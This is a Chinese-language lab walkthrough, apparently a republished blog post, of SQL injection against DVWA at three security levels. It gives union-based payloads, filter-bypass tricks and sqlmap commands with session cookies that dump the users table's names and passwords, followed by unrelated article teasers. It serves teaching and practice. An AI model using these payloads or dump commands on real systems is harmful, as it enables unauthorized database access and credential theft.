SQL Injection

news2024/9/28 4:32:22

SQL Injection

就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

SQL注入分类

数字型     
字符型    
报错注入   
Boollean注入      
时间注入

SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数 order by

(3).确定回显位置    union select 

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

知识点

version()              数据库版本
database()             数据库名字
user()                 数据库用户

在mysql中存在一个自带的数据库,information_schema,他是一个存储记录所有数据库名,表名,列名的数据库,通过查询他获取指定数据库下面的表名和列名信息

information_schema.table  记录所有表名信息的表
information_schema.column 记录所有列名信息的表
table_name                表名
columns_name              列名

low级别

查看源码

在这里插入图片描述

(1)判断注入类型,

在这里插入图片描述

输入1后,结果如下

在这里插入图片描述

输入2后,结果如下

在这里插入图片描述

输入1’后报错

image-20230805095510006

猜出到是字符型注入,我们继续输入1’ and ‘1’ ='1

image-20230805095528458

(2)判断字段数 order by

输入1’ order by 1#

在这里插入图片描述

输入1’ order by 2# 也没有报错

在这里插入图片描述

输入1’ order by 3#时报错了,说明字段只有2列

image-20230805095654016

**(3)判断回显位置 **

1' union select 1,2#

在这里插入图片描述

可以知道回显位置 在这二个地方

(4)判断数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

**(6)获取字段名 **

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users # 

在这里插入图片描述

medium级别

(1)判断注入类型 我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入

在这里插入图片描述

输入id=1’ and ‘1’='1看见报错了

在这里插入图片描述

输入id=1 and 1=1没有报错

在这里插入图片描述

所以注入类型为数字类型

(2)判断列数

image-20230805101110899

在这里插入图片描述
在这里插入图片描述

所以列数为2列

(3)判断回显位置

在这里插入图片描述

回显位置为2

(4)判断数据库

在这里插入图片描述

(5)判断表名

1  union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)判断列名

我们输入users之后,发现没有如何反应

通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572
在这里插入图片描述

1  union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x75736572#

在这里插入图片描述

(7)获取数据

id=1 union select user,password from users#

在这里插入图片描述

high级别

(1)判断注入类型

输入1’ and ‘1’=2’
在这里插入图片描述

判定是字符型注入

(2)判断字段数

1’ order by 1#

image-20230805102125146

1’ order by 2#

在这里插入图片描述

在输入 1’ order by 3# 时报错

在这里插入图片描述

(3)判断回显位置

1' union select 1,2#

在这里插入图片描述

(4) 获取数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users#

在这里插入图片描述

报错解决

sql注入联合查询时返回报错信息 “Illegal mix of collations for operation ‘UNION’ ”

出现这个问题的原因是因为union字符规则不一致导致


解决:

进入数据库管理后台

在这里插入图片描述

image-20230729134351278

SQL Injection(Blind)

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap采用了以下5种独特的SQL注入技术

1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4、联合查询注入,在可以使用Union的情况下注入
5、堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

基本步骤

查看sqlmap相关参数以及用法,命令格式为:sqlmap -h

找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u

确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs

查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名

获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名

猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名
sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。
    python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch
    
–batch用来指明自动化操作,否则每一个步骤都需要确认;
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户

LOW级别

浏览器抓包

在这里插入图片描述

也可以用bp截取cookie信息

在这里插入图片描述

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma"

在这里插入图片描述

开始暴库

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s"  --dbs --batch

在这里插入图片描述

暴表名

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa'  --tables --batch


# -D 要爆破的数据库名
# --tables 暴表名

在这里插入图片描述

暴字段

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma" -D dvwa -T users --columns --batch

# -D 要爆破的数据库名
# -T 要爆破的表名
# --columns 暴字段名

在这里插入图片描述

获取用户和密码

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa' -T 'users' -C 'user,password' --dump 

#  -C   'user,password'   要爆破的字段
# --dump 导出数据库 

在这里插入图片描述

Medium级别

bp抓包,发现是post请求携带参数提交的数据,需要使用 --data 参数把数据引入过来

在这里插入图片描述

爆破数据库

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" --dbs --batch

在这里插入图片描述

爆破数据库的表

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa --tables --batch

在这里插入图片描述

爆破表的字段

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users --columns --batch

在这里插入图片描述

获取用户和密码

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password  --dump

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/887745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Android Studio】 win11 安装配置 jdk17 超详细

概述 一个好的安装教程能够帮助开发者完成更便捷、更快速的开发。书山有路勤为径,学海无涯苦作舟。我是秋知叶i、期望每一个阅读了我的文章的开发者都能够有所成长。 一、下载JDK JDK官网 这里下载 JDK17 windows x64 installer 二、安装JDK 双击打开下载的 j…

计算机毕设项目之基于django+mysql的疫情实时监控大屏系统(前后全分离)

系统阐述的是一款新冠肺炎疫情实时监控系统的设计与实现,对于Python、B/S结构、MySql进行了较为深入的学习与应用。主要针对系统的设计,描述,实现和分析与测试方面来表明开发的过程。开发中使用了 django框架和MySql数据库技术搭建系统的整体…

AutoSAR配置与实践(基础篇)3.1 BSW架构和主要功能概要

传送门 点击返回 ->AUTOSAR配置与实践总目录 AutoSAR配置与实践(基础篇)3.1 BSW架构和主要功能概要 一、什么叫BSW二、分层介绍BSW主要功能2.1 微处理器抽象层MCAL2.2 ECU抽象层2.3 服务层2.4 复杂驱动CDD三、总结BSW各层主要功能一、什么叫BSW BSW是Basic Software的缩…

LeetCode150道面试经典题-- 合并两个有序链表(简单)

1.题目 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 2.示例 示例 1: 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4] 示例 2: 输入:l1 [], l2 [] 输…

使用Kaptcha生成验证码

说明:验证码,是登录流程中必不可少的一环,一般企业级的系统,使用都是专门制作验证码、审核校验的第三方SDK(如极验)。本文介绍,使用谷歌提供的Kaptcha技术,制作一个简单的验证码。 …

关系代数运算中的集合运算符和关系运算符

关系代数是一种抽象的查询语言,是研究关系模型的数学工具。关系代数的运算对象是关系,运算结果也是关系。关系代数运算符主要分为集合运算符和关系运算符两大类。 集合运算符有笛卡尔积、并、交、差,关系运算符有除、选择、投影、连接&#x…

ABAP内表与XML格式互转

1需求说明 在系统交互中需要将SAP内表转换为XML文件,发送给其他系统,并且将其他系统返回的XML文件转换为SAP内表。 2创建转换编辑器 事务代码:STRANS 选择简单转换 以图形方式编辑 右键插入新行 选择参考的类型。此处的TYPE类型是SE11中创…

基于STM32的指纹门禁系统

基于STM32的指纹门禁系统 系统简介 指纹系统,可以存指纹;指纹对了之后开门; 材料 STM32F103C8T6芯片OLED液晶显示屏杜邦线AS608模块用keil5进行开发 开始制作 制作过程 AS608模块调试 模块原理 模块是通过串口通信,采用回复式通信。 这…

基于Python编写个语法解析器

这篇文章主要为大家详细介绍了如何基于Python编写个语法解析器,文中的示例代码讲解详细,具有一定的学习价值,感兴趣的小伙伴可以了解一下 − 目录 前言选型效果实现 字符指针错误类型语法解析交互 前言 目的纯粹,基于Python做…

26、springboot的自动配置03--核心功能--自定义条件注解及使用

开发自己的自动配置------开发自己的条件注解 ★ 自定义条件注解 好处有两个: 1. 真正掌握Spring boot条件注解的本质。 2. 项目遇到一些特殊的需求时,也可以开发自己的自定义条件注解来解决问题。自定义条件注解: ▲ 所有自定义注解其实都…

香港服务器三网直连内地线路什么意思?好用吗?

​  三网直连内地是指香港服务器可以直接连接中国内地的电信、联通和移动三大运营商网络,避免了中间网络干线的支持。这样可以实现直接、快速、稳定的网络访问,提高用户对网络访问的效率,减少网络访问问题和拥堵的现象。 香港服务器直连内地…

开源项目AJ-Captcha使用小结

在网上看到开源项目AJ-Captcha,想把它加入到自己的项目中,遇到了一些问题,记录一下。 AJ-Captcha: 行为验证码(滑动拼图、点选文字),前后端(java)交互,包含vue/h5/Android/IOS/flutter/uni-app/react/php/go/微信小程…

C# 读取pcd点云文件数据

pcd文件有ascii 和二进制格式,ascii可以直接记事本打开,C#可以一行行读。但二进制格式的打开是乱码,如果尝试程序中读取,对比下看了数据也对不上。 这里可以使用pcl里的函数来读取pcd,无论二进制或ascii都可以正确读取…

Fortinet数据中心防火墙及服务ROI超300%,Forrester TEI研究发布

近日,专注网络与安全融合的全球网络安全领导者 Fortinet(NASDAQ:FTNT)联合全球知名分析机构Forrester发布总体经济影响独立分析报告,详细阐述了在企业数据中心部署 FortiGate 下一代防火墙(NGFW&#xff09…

web集群学习:搭建 LNMP应用环境

目录 LNMP的介绍: LNMP组合工作流程: FastCGI介绍: 1、什么是 CGI 2、什么是 FastCGI 配置LNMP 1、部署LNMP环境 2、配置LNMP环境 LNMP的介绍: 随着 Nginx Web 服务的逐渐流行,又岀现了新的 Web 服务环境组合—…

Ae 效果:CC WarpoMatic

过渡/CC WarpoMatic Transition/CC WarpoMatic CC WarpoMatic(CC 自动扭曲)主要用于创建动态的扭曲和弯曲过渡效果,可以在两个图层之间生成独特的过渡动画。 ‍ 这个效果允许用户根据特定的图层特性(如亮度、对比度差异、亮度差异…

基于VUE3+Layui从头搭建通用后台管理系统(前端篇)九:自定义组件封装下

一、本章内容 续上一张,本章实现一些自定义组件的封装,包括文件上传组件封装、级联选择组件封装、富文本组件封装等。 1. 详细课程地址: 待发布 2. 源码下载地址: 待发布 二、界面预览 三、开发视频 基于VUE3+Layui从头搭建通用后台管

什么是大数据测试?有哪些类型?应该怎么测?

随着目前世界上各个国家使用大数据应用程序或应用大数据技术场景的数量呈指数增长,相应的,对于测试大数据应用时所需的知识与大数据测试工程师的需求也在同步增加。 针对大数据测试的相关技术已慢慢成为当下软件测试人员需要了解和掌握的一门通用技术。…

vue 安装并配置vuex

1.安装vuex命令:npm i vuex3.6.2 2.全局配置 在main文件里边导入-安装-挂载 main.js页面配置的 import Vue from vue import App from ./App.vue import Vuex from vuex//导入 Vue.use(Vuex)//安装插件 // 创建store对象 const store new Vuex.Store({ }) // 挂载到vue对象上…

ClickHouse AST is too big 报错问题处理记录

ClickHouse AST is too big 报错问题处理记录 问题描述问题分析解决方案1、修改系统配置2、修改业务逻辑 问题描述 项目中统计报表的查询出现 AST is too big 问题,报错信息如下: 问题分析 报错信息显示 AST is too big。 AST 表示查询语法树中的最大…